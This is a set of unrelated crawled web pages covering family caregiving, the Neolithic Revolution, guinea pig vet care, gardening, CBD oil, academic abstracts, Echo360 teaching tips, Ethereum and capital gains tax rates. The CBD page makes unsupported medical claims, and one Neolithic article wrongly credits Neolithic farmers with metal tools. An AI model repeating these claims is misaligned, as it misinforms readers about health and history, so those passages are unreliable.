It’s important to have a carefully crafted plan so that you can just “fit it all in”. You have assumed the daunting task of being a Family Caregiver for your parent. Thus, you are doing everything possible to provide for their care. You are doing your best to fit your caregiving tasks in among other daily necessities. “Family Caregiver” comes in addition to working your 40 hour per week job. Also, you try to spend just a little time with your own spouse and children.
We know how hectic life as a Family Caregiver can be. Planning your life can be minute-by-minute.
Your FREE Carefully Crafted Plan Tip Sheet will help you organize your hectic life so you can breathe.
Given what you already have to do, it’s useful to think “reframe” this topic from “duties” of a Family Caregiver (implying sense of obligation) to Priorities of a Family Caregiver. Looking at it this way, helps you best plan your time so that you get the most important tasks done while you are with your loved One, but still have the time left in the day to tend to the other necessities of your life mentioned above.
Planning Parameters of Family Caregivers
There are many details necessary to create a Carefully Crafted Plan, click on this link to download your Carefully Crafted Plan Tip Sheet – but here are a few broad planning parameters to help lay your planning framework.
Keep a Journal
Start keeping a Journal of the things that you do each day. Also include the things that you perceive that need to be done. This will give a clear picture in your mind about the tasks that your Loved One most needs help with. Now you can focus your energies on what is most important during your time with them.
Having a list will also help you pass specific directions along to substitute caregivers. Your Loved One may begin to need more care during the day while you are working. It is very useful to have specific instructions for several caregiving tasks. This way, no major mistakes are made and no major tasks are overlooked.
Rally the troops (if there are any troops to rally)
Realize that being the Family Caregiver is a big job that takes a lot of time. Also be aware of the incrementally more time required as your Loved One further declines. It is important to have a Family Meeting just as soon as you sense that your Loved One needs help. We understand that not all family members are supportive or are willing to help. However, we have some good tips to help get siblings involved, even if they are in remote locations. Check out our blog post entitled “Family Meeting with Momma“. Granted, it’s easier said than done in some instances, but it’s worth the effort. Sometimes, even if siblings are reluctant, they may do specific tasks, which helps aundantly.
Remember the big picture – it’s all about Momma.
Don’t get so caught up in the daily tasks that you forget your main job is to provide love, support, care and understanding to a declining parent. They desperately need your presence and love more now than ever.
Achieving the best results for your parent(s) or declining spouse – while (simultaneously) being able to effectively take care of the major priorities in your own life – takes some careful planning.
Click here to download your Carefully Crafted Plan Tip Sheet. With some work and planning on your part, you will be able to craft a Plan that will allow you to become a more effective Family Caregiver, employee, spouse and parent.
We’ll talk more about this planning technique in our next blog post. Until then, best wishes with becoming an even more effective Family Caregiver for your Loved One.
AND For More detailed and step-by-step tips and tools, visit our membership site at www.caregiversupportacademy.com. | <urn:uuid:12efca8d-6bcd-4a75-bac8-f37823117629> | CC-MAIN-2022-33 | https://www.helpmehelpmomma.com/duties-of-a-family-caregiver/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.957744 | 1,107 | 1.890625 | 2 |
Cultures > Neolithic Revolution
The Neolithic Revolution or Neolithic Demographic Transition, sometimes called the Agricultural Revolution, was the wide-scale transition of many human cultures from a lifestyle of hunting and gathering to one of agriculture and settlement, allowing the ability to support an increasingly large population. Archaeological data indicates that the domestication of various types of plants and animals evolved in separate locations worldwide, starting in the geological epoch of the Holocene around 12,000 years ago. It was the world's first historically verifiable revolution in agriculture.However, the Neolithic Revolution involved far more than the adoption of a limited set of food-producing techniques. During the next millennia it would transform the small and mobile groups of hunter-gatherers that had hitherto dominated human pre-history into sedentary (here meaning non-nomadic) societies based in built-up villages and towns. These societies radically modified their natural environment by means of specialized food-crop cultivation (e.g., irrigation and deforestation) which allowed extensive surplus food production. These developments provided the basis for densely populated settlements, specialization and division of labour, trading economies, the development of non-portable art and architecture, centralized administrations and political structures, hierarchical ideologies, depersonalized systems of knowledge (e.g., writing), and property ownership. Personal, land and private property ownership led to hierarchical society, class struggle and armies. The first full-blown manifestation of the entire Neolithic complex is seen in the Middle Eastern Sumerian cities (c. 5,500 BP), whose emergence also heralded the beginning of the Bronze Age.The relationship of the above-mentioned Neolithic characteristics to the onset of agriculture, their sequence of emergence, and empirical relation to each other at various Neolithic sites remains the subject of academic debate, and varies from place to place, rather than being the outcome of universal laws of social evolution.
During the Paleolithic Period, which lasts from the beginnings of human life until about 10,000 BC, people were nomads. They lived in groups of 20 -30, and spent most of their time hunting and gathering. In these groups, work was divided between men and women, with the men hunting game animals, and women gathering fruits, berries, and other edibles. These early peoples developed simple tools such as, spears and axes made from bone, wood, and stone. Human beings lived in this manner from earliest times until about 10,000 BC, when they started to cultivate crops and domesticate animals. This is known as the Neolithic Revolution. The Neolithic Revolution was a fundamental change in the way people lived. The shift from hunting & gathering to agriculture led to permanent settlements, the establishment of social classes, and the eventual rise of civilizations. The Neolithic Revolution is a major turning point in human history.Great DiscoveriesAbout 10,000 BC, humans began to cultivate crops and domesticate certain animals. This was a change from the system of hunting and gathering that had sustained humans from earliest times. As a result, permanent settlements were established. Neolithic villages continued to divide work between men and women. However, women's status declined as men took the lead in in most areas of these early societies.Villages were usually run by a Council of Elders composed of the heads of the village's various families. Some of these villages may have had a chief elder as a single leader. When resources became scarce, warfare among villages increased. During war, some men gained stature as great warriors. This usually transferred over to village life with these warriors becoming the leaders in society. Early social class divisions developed as a result. A person's social class was usually determined by the work they did, such as farmer, craftsman, priest, and warrior. Depending on the society, priests and warriors were usually at the top, with farmers and craftsman at the bottom.New technologies developed in response to the need for better tools and weapons to go along with the new way of living. Neolithic farmers created a simple calendar to keep track of planting and harvesting. They also developed simple metal tools such as plows, to help with their work. Some groups even may have used animals to pull these plows, again making work easier. Metal weapons were developed as villages needed to protect their valuable resources.EffectsThe Neolithic Revolution changed the way humans lived. The use of agriculture allowed humans to develop permanent settlements, social classes, and new technologies. Some of these early groups settled in the fertile valleys of the Nile, Tigris-Euphrates, Yellow, and Indus Rivers. This resulted in the rise of the great civilizations in Egypt, Mesopotamia, China, and India. | <urn:uuid:c217d068-93f7-445f-98c1-acb756fb0e30> | CC-MAIN-2022-33 | https://ancientmesopotamia.org/cultures/neolithic-revolution | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.964644 | 966 | 4.125 | 4 |
Did you know that if a guinea pig goes longer than 12 hours without eating he can die? It is very important to observe any changes in the behavior of your guinea pig or rabbit as they are extremely good at hiding illness! Lack of appetite should be taken seriously. If your bunny or piggy is not eating on his own, please refer to this guide on hand-feeding guinea pigs and this guide for hand-feeding rabbits..
Every rabbit or guinea pig owner should have an experienced veterinarian available to deal with routine exams and illnesses. We also suggest you locate an emergency after-hours facility in your area that has experience with guinea pigs or rabbits. Should a life-threatening situation occur outside of business hours, you’ll be prepared.
While we would like to help any and every animal, financially we are unable to. If you own a sick pet and are unable to pay for the medical expenses, please discuss options or payment plans with your veterinarian’s office. You also might search for charitable agencies set up specifically to help low income households with veterinary expenses.
We recommend the following vets:
Dr. Anna Osofsky
Dr. Ashley Champagne
Carrollton West Pet Hospital
3729 Old Denton Rd
Carrollton, TX 75007
For after hours / emergency vets we recommend:
Animal Emergency Hospital of North Texas
2700 West State Hwy 114
Grapevine, TX 76051
Adopter Recommended Vets:
Dr. Amanda J. Gardner, DVM
Country Club Pet Hospital
2250 Matlock Road
Mansfield, TX 76063
Leche - Adopted March 2013
Missy - Adopted March 2013
Rudi and Gigi - Adopted March 2013
Crystal - Adopted September 2013 | <urn:uuid:5798fdaf-a602-4e88-b3a7-165b64370615> | CC-MAIN-2022-33 | https://www.theguineapigrescue.com/veterinary-care | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571993.68/warc/CC-MAIN-20220814022847-20220814052847-00665.warc.gz | en | 0.920791 | 393 | 1.585938 | 2 |
On the way back after a long afternoon and evening of setting stones Senpai K-San shared one of Oyakata’s wise words with me:
庭造りは決断の連続だ。 – Creating gardens is continuous decision making.
勇気が必要だと思いますね。枝を切る勇気。枝を残す勇気。石の設置を決める勇気。I think one needs courage to build gardens – to prune a tree, to set a stone, to skip cleaning a place in favor of another place.
We are three young gardeners and we realized today how much time and boldness it takes to build a good garden in a reasonable amount of time. But what is most important is that is is a good garden. Speed comes with experience. | <urn:uuid:d63b84aa-d08a-40b4-8303-64eae21ef6bb> | CC-MAIN-2022-33 | https://90daysinkyoto.com/2014/06/15/day-73-making-decisions-and-building-gardens/?replytocom=123 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.900586 | 207 | 1.617188 | 2 |
In recent years, people have started taking cannabidiol (CBD) to alleviate a variety of medical ailments, such as glaucoma, anxiety, cancer-related pain, seizures, and more. Choosing high-quality plants are relevant because the right plant strains will be naturally high in CBD. For decades, medical professionals and the general public overlooked CBD because psychoactive cannabis took center stage. Similar to other brands on this list, CBD Essence has been around for quite a few years, and they know a thing or two about hemp oil. This is because your body must digest and absorb the food or capsule before you can begin experiencing the effects of CBD. Other sources have similar takes: sources told Consumer Reports that CBD is not a treatment for insomnia,” and that people should consult with their doctors before self-treating.
At this point, it is more than safe to say that CBD is all the rage The substance, which is often advertised as safer than many conventional drugs, is quickly establishing itself as an alternative treatment for common conditions including anxiety and chronic pain. Like CBD hemp oil, hemp seed oil comes from the same plant. CBDistillery’s work has always been fabulous, and rest assured this is one of the products that I will keep on my shelves for a long amount of time. Because the field of CBD research itself is still so new and research studies are still underway, it is not possible to know for certain which delivery method might work best for your personal pain management needs.
As you learned earlier, CBD is one of over a hundred naturally occurring cannabinoids found within cannabis plants. Because CBD oils have little to no THC, the body will not treat it like anandamide. Clobazam is a prescription drug from a group of medications known as benzodiazepines. The most notable comparison is with cannabidiol (CBD), which is the second most abundant cannabinoid found in the plant. Reading the lab reports, also called Certificates of Analysis, will ensure the product you purchase is in fact the safest CBD oil to take with blood thinners.
Rather than cold pressing, a special extraction process is used to directly pull the CBD-rich oil from the stalks, flowers, and leaves of the plant. This form of insomnia is the hardest to diagnose and usually requires sleep analysis at a medical center to understand the cause. We found that, among individuals with a variety of health problems such as epilepsy, chronic pain, autism, anxiety, and other serious health conditions, those who were using a cannabis product—people predominantly used cbd CBD products—reported a better quality of life and satisfaction with health, pain, sleep, and mood compared with those who were not using cannabis products.
If the left side of the heart is affected, blood will begin to pool in the rest of the body, primarily the arms and legs. The best way to take CBD oil orally is to drop an eyedropper underneath your tongue, as it puts the chemical into your body rapidly. There are many steps in the process of making CBD products, and it’s imperative that each step be done with the utmost care. For everyday use, the properties of CBD that have been shown to help with chronic disorders can also fight common concerns like muscle pain and headaches. | <urn:uuid:dfd74eb6-5b1e-4e79-a11b-ae8b36d53783> | CC-MAIN-2022-33 | http://www.chromscience.com/research-benefits-and-dosage-suggestions-2/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.967662 | 669 | 1.796875 | 2 |
E3S Web Conf.
Volume 21, 2017IInd International Innovative Mining Symposium (Devoted to Russian Federation Year of Environment)
|Number of page(s)||8|
|Section||Mining Regions’ Sustainable Development|
|Published online||10 November 2017|
Score Mining Rents in Terms of Investment Attractiveness of Peat Mining
Tver State Technical University, 170026, Af. Nikitin Street, 22, Tver, Russia
* Corresponding author: firstname.lastname@example.org
In this article, as determinants in the system factors underlying the investment attractiveness of the peat industry is considered a rental factor, which predetermines the significant differences and peculiarities of the investment climate in the mining business and, in particular, in the sphere of peat mining. In contrast to modern studies treated the essence and role of rents in the economic mechanism, is proposed for a new approach to solving the problems of its formation. Our approach differs in that it, firstly, adequate rental relations, objectively in extractive industries, secondly, provides consensus in the interests of the owner of peat deposits and entrepreneurs, businesses in these deposits and, thus, thirdly, contributes to the creation of a favourable investment climate in the peat extraction industry. In practical terms, in accordance with the proposed approach, we have proposed specific allocation algorithm of mining rents from the profits of peat extraction enterprises.
© The Authors, published by EDP Sciences, 2017
This is an Open Access article distributed under the terms of the Creative Commons Attribution License 4.0, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. (http://creativecommons.org/licenses/by/4.0/).
Current usage metrics show cumulative count of Article Views (full-text article views including HTML views, PDF and ePub downloads, according to the available data) and Abstracts Views on Vision4Press platform.
Data correspond to usage on the plateform after 2015. The current usage metrics is available 48-96 hours after online publication and is updated daily on week days.
Initial download of the metrics may take a while. | <urn:uuid:51242893-2831-4fe7-8aae-ddfe75976d3a> | CC-MAIN-2022-33 | https://www.e3s-conferences.org/articles/e3sconf/abs/2017/09/e3sconf_2iims2017_04011/e3sconf_2iims2017_04011.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.888028 | 495 | 1.65625 | 2 |
University of Amsterdam, Netherlands
Information is a central yet difficult concept for information management. To understand the meaningof information today, it is important to understand its history. The goal of this paper is to provide anunderstanding of this history and to make explicit important lessons from this history for informationmanagement. First, a model of information’s history is presented that explicitly focuses oninformation’s relation with ontology and epistemology. Second, the history of information is describedusing this model. This history is then used to explicate lessons for information management today, asit has been unrealistically restricted by a narrow, objective understanding of information. The historyof information provides several directions to change this embarrassing situation.
Vreeken, Arjan, " The History of Information: Lessons for InformationManagement" (2008). All Sprouts Content. 88. | <urn:uuid:df3e1199-0b82-439f-8c3a-83425070b6e3> | CC-MAIN-2022-33 | https://aisel.aisnet.org/sprouts_all/88/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.869245 | 209 | 2.234375 | 2 |
21 Ways to Teach with Echo360 – 7) Increasing Student Engagement: Delivering Live Interactive Teaching to Off-campus Learners
This is the eighth blog in our how-to series for educators and example 7 out of 21 ways to teach with Echo360. Read the introduction to this series here.
Why should I deliver live interactive teaching to off-campus learners?
Providing active learning opportunities in the classroom has been shown to improve student engagement, retention and learning outcomes (Freeman, et al, 2014), but what about those students who are studying away, are on a placement, or who are unable to travel to class? Having a capture of the class or your friend’s notes may be satisfactory, but wouldn’t it be better that they could participate in the same manner as in-class learners? With Echo360, you can use the engagement tools during class, capture your teaching, and also broadcast a feed of your audio and video to any students who are away from class; these students will be able to participate in all activities in real-time, use the discussion tools and generally have a learning experience comparable to those sitting in class with you.
How can I do that?
In earlier posts, we have discussed how to broadcast your teaching and use the engagement tools. When delivering live interactive classes, we are simply bringing together each of these approaches. Both the off-site and on-site students would access the interactive class in exactly the same way, though the off-site students would open the streamed video content in order to watch your screen and listen to your voice or watch a video of the class.
- Live classes cannot be initiated directly from Classroom Capture, so either include a Live Broadcast when scheduling your session or;
- Alternatively, if enabled, click the ‘Start Capture’ button on the Echo360 toolbar and complete the details of your capture, remembering to tick the ‘Live Broadcast’ checkbox;
- Just add your presentation to the Class that is created and click on the icon to edit the presentation and add activities;
- Remember to instruct your students to open the Class when you begin the session…and don’t forget to do the same!
Anything else I should be aware of?
Students viewing the live stream should be aware of the best practice guidance that we have published in our Resource Centre to ensure their viewing experience is at an optimum level when using personal devices – see Viewing Live Classes – best practices.
Off-site students may communicate directly with yourself and their peers through the discussion board, but cannot speak to others. The audio/video stream is one-directional from the classroom.
Does it work?
Teaching Statistics to over 2000 students might seem like a daunting proposition, but Dr Jackie Miller (University of Michigan) has introduced a hybrid active learning and live streaming course (based on the HyFlex+ instructional model). This provides all students with a choice of how to participate by offering in-class or remote learning modes; critically, they are able to maintain an equivalency of learning experience for all learners through using the engagement tools. Similarly, the George Mason University School of Law requires their law programmes to be flexible and interactive to support large populations of international and continuing education students. To achieve this, all classes are recorded or live streamed, and engagement tools are used for student to interact, whether they are in the classroom or online.
This approach is likely to become increasingly common in further and higher education as student study patterns change. A recent study by the National Center for Education Statistics in the US revealed that out of 8.1 million students enrolled in higher education, more than 40% were 25+ years old, leading EducationDive to comment that “with more non-traditional students coming to two- and four-year schools, colleges will need to use mobile technology to keep them engaged and learning…Colleges will need to recreate the campus experience through apps and other technology that allows the non-traditional student to feel a part of the university community”.
Where can I find more information?
- How to teach live Classes
- More information on teaching using interactive tools
- How to show interactive slide results in class
- Practical ideas to add interaction into your lectures;
If you have found this blog helpful, but missed the previous posts in the series, here they are:
- Intro: A New Blog Series for Educators: 21 Ways to Teach with Echo360
- Part one: How to Record Your Class with Echo360
- Part two: How to Record an Asynchronous Screencast with Echo360
- Part three: How to Schedule Recordings of Your Classes with Echo360
- Part four: Lights, Camera, Action! Teaching and Live Broadcasting with Echo360
- Part five: Increasing Student Engagement: Creating Student Polls, Questions, and Other Acivities
- Part six: Increasing Student Engagment: Facilitating In-Class Discussions and Group Work
Learn more about Echo360. | <urn:uuid:2245f9f2-a776-464f-a30d-0e8ac3585e5a> | CC-MAIN-2022-33 | https://echo360.com/21-ways-teach-echo360-7-increasing-student-engagement-delivering-live-interactive-teaching-off-campus-learners/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.931775 | 1,026 | 1.96875 | 2 |
Ethereum is a global, decentralized platform for money and new kinds of applications. On Ethereum, you can write code that controls money, and build applications accessible anywhere in the world. Ethereum is a global blockchain computer that lets anyone write programs that run verifiably in public. This allows for the creation of applications that are fully auditable, and much less prone to tampering or censorship than traditional “centralized” websites, where you basically just trust a company. To learn more about Ethereum visit…. Ethereum .Net cross platftorm integration library - titlesource/Nethereum Ethereum is the largest programmable blockchain in the world, leading in business adoption, developer community, and DeFi activity. On this trusted, open source foundation, we are building the digital economy of tomorrow. “We have arrived at a breakthrough in how we can build trust into all of our systems. We are at the beginning of the next ... The Most Trusted Ethereum Blockchain Solutions ConsenSys is the software engineering leader of the blockchain space. Our full-stack Ethereum products help developers build next-generation networks and enable enterprises to launch more powerful financial infrastructure.
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Here is my first Ethereum logo animation I worked on for the crypto community, hope it will help promoting Ethereum. Donation appreciated! Thank you! ETH Wallet ... Patreon - https://www.patreon.com/Facelikethesun Ethereum, being touted as a "better Bitcoin," is set to takeover as the leading main cryptocurrency. But wha... How to video to show you how I've made my first Ethereum Using a Silicone Mould. Not using a mining computer ;) I've used some carbon fiber plates to create a template and go from a 2D shape to a ... Ujo Music is a decentralized marketplace for music streaming and digital downloads. Ujo Music allows audiences to pay musicians directly with ETH (DAI support added soon) with 0% fees. This makes ... Talk by Jesse Grushack, ConsenSys. Oslo Blockchain Day was a conference at Oslo Science Park on April 19th 2016. | <urn:uuid:cde2f67c-8963-4fc9-9470-10d4ee11430d> | CC-MAIN-2022-33 | http://binary-option-trade-uae.forexjour.ru/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.904792 | 476 | 1.914063 | 2 |
If you sell a house or property in less than one year of owning it, the short-term capital gains is taxed as ordinary income, which could be as high as 37 percent. Long-term capital gains for properties you owned over one year are taxed at 15 percent or 20 percent depending on your income tax bracket.
- 1 How is capital gains tax calculated on sale of property?
- 2 What is the capital gains tax rate for 2021 on real estate?
- 3 What is the average capital gains tax on real estate?
- 4 How do I avoid capital gains on sale of property?
- 5 What happens if I sell my house and don’t buy another?
- 6 How long do you have to buy another house to avoid capital gains?
- 7 At what age are you exempt from capital gains tax?
- 8 Do I pay capital gains if I sell my house and buy another?
- 9 Can I avoid capital gains by paying off mortgage?
- 10 Do I have to pay capital gains if I sell my house before 2 years?
- 11 What are the requirements to get the $250000 exemption from capital gains when you sell your home?
- 12 2021-22 Capital Gains Tax Rates and Calculator
- 13 What is short-term capital gains tax?
- 14 What is long-term capital gains tax?
- 15 2021 capital gains tax rates
- 16 2022 capital gains tax rates
- 17 How capital gains are calculated
- 18 Watch out for two things
- 19 How to minimize capital gains taxes
- 20 Capital Gains Tax (On Real Estate & Home Sales)
- 21 2021 Capital Gains Tax Calculator – See What You’ll Owe
- 22 Capital Gains: The Basics
- 23 Earned vs. Unearned Income
- 24 Tax-Loss Harvesting
- 25 State Taxes on Capital Gains
- 26 Capital Gains Taxes on Property
- 27 Net Investment Income Tax (NIIT)
- 28 Bottom Line
- 29 Topic No. 701 Sale of Your Home
- 30 Qualifying for the Exclusion
- 31 Reporting the Sale
- 32 Suspension of the Five-Year Test Period
- 33 Installment Sales
- 34 How to Calculate Capital Gains Tax
- 35 How to Figure Long-Term Capital Gains Tax
- 36 Determine Your Long-Term Capital Gains Rate
- 37 Capital Gains Tax, Form 8949 and Schedule D
- 38 Avoiding Capital Gains Tax When Selling Your Home: Read the Fine Print
- 39 2021 And 2022 Capital Gains Tax Rates
- 40 Long-Term Capital Gains Taxes
- 41 Exceptions to Capital Gains Taxes
- 42 What Is the Net Investment Income Tax?
- 43 Compare the best tax software of 2021
- 44 Get your investment taxes done right
How is capital gains tax calculated on sale of property?
The first step in how to calculate long-term capital gains tax is generally to find the difference between what you paid for your property and how much you sold it for —adjusting for commissions or fees. Depending on your income level, your capital gain will be taxed federally at either 0%, 15% or 20%.
What is the capital gains tax rate for 2021 on real estate?
Your income and filing status make your capital gains tax rate on real estate 15%.
What is the average capital gains tax on real estate?
Long-term capital gains tax is a tax applied to assets held for more than a year. The long-term capital gains tax rates are 0 percent, 15 percent and 20 percent, depending on your income. These rates are typically much lower than the ordinary income tax rate.
How do I avoid capital gains on sale of property?
Exemptions from your Gains that Save Tax Section 54F (applicable in case its a long term capital asset)
- Purchase one house within 1 year before the date of transfer or 2 years after that.
- Construct one house within 3 years after the date of transfer.
- You do not sell this house within 3 years of purchase or construction.
What happens if I sell my house and don’t buy another?
Profit from the sale of real estate is considered a capital gain. However, if you used the house as your primary residence and meet certain other requirements, you can exempt up to $250,000 of the gain from tax ($500,000 if you’re married), regardless of whether you reinvest it.
How long do you have to buy another house to avoid capital gains?
There is no tax to be paid if you use the entire gain from the transaction to buy another house within two years or construct one within three years. The two- and three-year period applies even if you bought another house a year before selling the first one.
At what age are you exempt from capital gains tax?
You can’t claim the capital gains exclusion unless you’re over the age of 55. It used to be the rule that only taxpayers age 55 or older could claim an exclusion and even then, the exclusion was limited to a once in a lifetime $125,000 limit. The Taxpayer Relief Act of 1997 changed all of that.
Do I pay capital gains if I sell my house and buy another?
When you sell a personal residence and buy another one, the IRS will not let you do a 1031 exchange. You can, however, exclude a large portion of the gain from your taxes as that you have lived in for two of the past five years in the property and used it as your primary residence.
Can I avoid capital gains by paying off mortgage?
With the exception of the noted potential restrictions, capital gains realized from selling real estate can be used for any purpose, including to pay off a second mortgage. If the reason is to retire a costly debt and free up some money every month, though, you should consider the effective interest rate.
Do I have to pay capital gains if I sell my house before 2 years?
There is a significant tax penalty for selling a house you’ve owned for less than 2 years as you will have to pay capital gains taxes on any profits from the sale of the property, even if it was your primary residence. There are several reasons to try to avoid selling too soon if you can.
What are the requirements to get the $250000 exemption from capital gains when you sell your home?
Here’s the most important thing you need to know: To qualify for the $250,000/$500,000 home sale exclusion, you must own and occupy the home as your principal residence for at least two years before you sell it. Your home can be a house, apartment, condominium, stock-cooperative, or mobile home fixed to land.
2021-22 Capital Gains Tax Rates and Calculator
Capital gains are the earnings realized through the sale of an asset — such as stock, real estate, or a business — and are typically considered taxable income by the government. The amount of tax you pay on these profits is heavily influenced by how long you owned the item before selling it. For most assets held for more than a year, the capital gains tax rates in 2021 will be either 0 percent, 15 percent, or 20 percent, depending on the year. Generally, capital gains tax rates on assets held for less than a year are aligned with ordinary income tax levels for the most part (10 percent , 12 percent , 22 percent , 24 percent , 32 percent , 35 percent or 37 percent ).
What is short-term capital gains tax?
Short-term capital gains are earnings realized from the sale of an asset held for less than one year that are subject to tax. Generally, the rate at which you pay ordinary income tax on short-term capital gains is the same as your tax bracket. (Are you unsure about which tax rate you fall into? (See this chart for an overview of federal tax brackets.)
What is long-term capital gains tax?
Long-term capital gains are earnings made from the sale of an asset that has been held for more than a year that are subject to tax. If you have long-term capital gains, the tax rate on those gains is zero percent, fifteen percent, or twenty percent, depending on your taxable income and filing status. They are often lower than the rates applicable to short-term capital gains. When it comes to property transactions, the laws for capital gains tax might be different. More information may be found here.
2021 capital gains tax rates
|Tax-filing status||Single||Married, filing jointly||Married, filing separately||Head of household|
|0%||$0 to $40,400||$0 to $80,800||$0 to $40,400||$0 to $54,100|
|15%||$40,401 to $445,850||$80,801 to $501,600||$40,401 to $250,800||$54,101 to $473,750|
|20%||$445,851 or more||$501,601 or more||$250,801 or more||$473,751 or more|
|Short-term capital gains are taxed as ordinary income according tofederal income tax brackets.|
« Are you looking for a solution to postpone paying capital gains taxes? Investing in an IRA or a 401(k) can assist to defer or even prevent future capital gains tax liabilities by allowing money to grow tax-free.
2022 capital gains tax rates
|Tax-filing status||Single||Married, filing jointly||Married, filing separately||Head of household|
|0%||$0 to $41,675||$0 to $83,350||$0 to $41,675||$0 to $55,800|
|15%||$41,676 to $459,750||$83,351 to $517,200||$41,676 to $258,600||$55,801 to $488,500|
|20%||$459,751 or more||$517,201 or more||$258,601 or more||$488,501 or more|
|Short-term capital gains are taxed as ordinary income according tofederal income tax brackets.|
» Are you having problems deciding whether or not to sell your home? A knowledgeable financial counselor can assist you in determining your financial alternatives. Take a look at some of our recommendations for the greatest financial advisers.
How capital gains are calculated
- The taxation of capital gains can be applied to assets such as stocks or bonds, real estate (though not generally your house), automobiles, boats, and other tangible personal property. Your capital gain is the amount of money you receive from the sale of any of these goods. A capital loss is money that you have lost. Our capital gains tax calculator will assist you in estimating your gains
- And Gains on investments might be countered by capital losses on investments. Suppose you made a $10,000 profit on one stock this year and a $4,000 loss on the other, you’ll be taxed on $6,000 worth of capital gains. The difference between your capital gains and your capital losses is referred to as your “net capital gain.” If your losses outweigh your profits, you can deduct the difference from your taxable income on your tax return, up to a maximum of $3,000 each year ($1,500 for married couples filing separately). In a similar vein to income taxes, capital gains taxes have a graduated rate of reinvestment.
|Pricing:$47.95 to $94.95, plus state costs.Free version?Yes.|
|Pricing:$60 to $120, plus state costs.Free version?Yes.|
|Pricing:$49.99 to $109.99, plus state costs.Free version?Yes.|
Watch out for two things
1. Exceptions to the rule. The capital gains tax rates shown in the tables above are applicable to the vast majority of assets, although there are a few notable exceptions. For long-term capital gains on so-called “collectible assets,” which include items such as gold coins, precious metals, antiques, and fine art, the IRS can tax the gain at a maximum rate of 28 percent. Gains on such assets that are realized in the short term are taxed at the regular income tax rate. The net investment income tax is the second type of tax.
The following are the income thresholds that might potentially subject investors to this extra tax:
- $125,000 if filing as a single person or head of household
- $250,000 if married and filing jointly
- $125,000 if married and filing separately. $250,000 for a qualifying widow(er) with a dependent kid
- $250,000 for a qualifying widow(er) without a dependent child
How to minimize capital gains taxes
Maintain ownership of an asset for a year or more whenever feasible so that you can qualify for the long-term capital gains tax rate, which is much lower than the short-term capital gains rate for the vast majority of assets and investments.
Our capital gains tax calculator can show you how much money you may save if you do so.
Exclude home sales
To be eligible, you must have owned your house for at least two years and utilized it as your primary residence for the five-year period preceding the sale of your property. In addition, you must not have excluded another house from capital gains in the two-year period before the sale of your current home. If you fulfill the requirements, you can deduct up to $250,000 in profits on the sale of your house if you’re single and up to $500,000 if you’re married filing jointly if you meet the requirements.
Rebalance with dividends
If you get dividends, instead of reinvesting them in the investment that paid them, rebalance your portfolio by placing that money into your underperforming investments. Normally, you would rebalance your portfolio by selling stocks that are performing well and investing the proceeds in securities that are underperforming. Instead of selling great performers and reaping the capital gains that would result from doing so, utilizing dividends to invest in underperforming assets will allow you to avoid doing so and reaping the capital gains that would result from doing so.
Use tax-advantaged accounts
A variety of investment vehicles, such as 401(k) plans, individual retirement accounts, and 529 college savings accounts, allow investors to grow their money without incurring taxes or with little taxes. This implies that if you sell investments held within these accounts, you will not be subject to capital gains tax. Roth IRAs and 529 plans, in particular, provide significant tax advantages. In other words, you don’t have to pay any taxes on the returns from your investments if you get qualified distributions from them.
(See this page for additional information on taxes on retirement accounts.)
Carry losses over
If your net capital loss exceeds the amount that may be deducted on your tax return for the year, the IRS enables you to carry the excess into the next year and deduct it on your tax return for that year.
Consider a robo-advisor
Robo-advisors handle your assets on your behalf automatically, and they frequently apply clever tax tactics, such as tax-loss harvesting, which entails selling lost investments in order to offset the profits from winning ones.
Capital Gains Tax (On Real Estate & Home Sales)
When considering whether to sell a capital item for a profit or a loss, the first question you should ask yourself is “When did I purchase this?” If the event occurred less than a year ago, you are dealing with a short-term capital gain or loss, and the amount will be reported as regular income on your tax return. A long-term capital gain is one that has been held for more than one year, and it will receive favorable tax treatment, and if it is your principal residence, it may even be free from taxes.
Short-Term Capital Gains Tax
Using the guidelines discussed above, you can determine whether or not short-term capital gains tax applies in your circumstances.
If so, the profit is taxed at standard income tax rates. These are the tax rates that will be in effect for the tax year 2021:
|Short-Term Capital Gains Tax Rates|
|Tax Rate||Single||Married Filing Jointly and Surviving Spouses||Married Filing Separately||Head of Household|
|10%||$0 – $9,950||$0 – $19,900||$0 – $9,950||$0 – $14,200|
|12%||$9,951 – $40,525||$19,901 – $81,050||$9,951 – $40,525||$14,201 – $54,200|
|22%||$40,526 – $86,375||$81,051 – $172,750||$40,526 – $86,375||$54,201 – $86,350|
|24%||$86,376 – $164,925||$172,751 – $329,850||$86,376 – $164,925||$86,351 – $164,900|
|32%||$164,926 – $209,425||$329,851 – $418,850||$164,926 – $209,425||$164,901 – $209,400|
|35%||$209,426 – $523,600||$418,851 – $628,300||$209,426 – $314,150||$209,401 – $523,600|
|37%||$523,601 or more||$628,301 or more||$314,151 or more||$523,601 or more|
If you happen to be declaring a short-term capital gain from the sale of an estate or trust, the tax rates will be a little bit different.
|Short-Term Capital Gains for Estates or Trusts|
|Tax Rate||Estate or Trust Income|
|10%||$0 – $2,650|
|24%||$2,650 – $9,550|
|35%||$9,550 – $13,050|
